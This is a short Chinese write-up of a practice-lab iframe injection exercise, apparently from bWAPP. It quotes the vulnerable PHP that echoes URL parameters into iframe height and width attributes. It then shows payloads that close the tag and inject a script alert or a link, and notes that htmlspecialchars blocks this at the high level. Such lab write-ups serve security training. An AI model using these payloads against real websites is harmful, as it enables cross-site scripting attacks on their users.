前置知识:
HTML 内联框架元素 (<iframe>
) 表示嵌套的browsing context。它能够将另一个 HTML 页面嵌入到当前页面中。
LOW:
查看源码,发现low级没有任何防护,height和width存在注入
function xss($data)
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);
break;
case "1" :
$data = xss_check_4($data);
break;
case "2" :
$data = xss_check_3($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
<?php
if($_COOKIE["security_level"] == "1" || $_COOKIE["security_level"] == "2")
{
?>
<iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php
}
else
{
?>
<iframe frameborder="0" src="<?php echo xss($_GET["ParamUrl"])?>" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php
}
?>
height的构造如下
250"></iframe><script>alert("ahhhh");</script><!--
实际代码如下
<iframe frameborder="0" src="robots.txt" height="250"></iframe><script>alert("ahhhh");</script><!--" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
最后注入成功
Medium
前置知识:
正斜杠“/”符号,相当于一个括号包裹住内容
writeup:
查看源码,medium和high都无法更改ParamUrl参数,另外两个则可控
<iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
构造ParamHeight如下
250"></iframe><a href=https://www.baidu.com>1</a><!--
250"></iframe><script>alert(/ahhhhhhh/)</script><!--
测试成功
High
htmlspecialchars把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,该函数较安全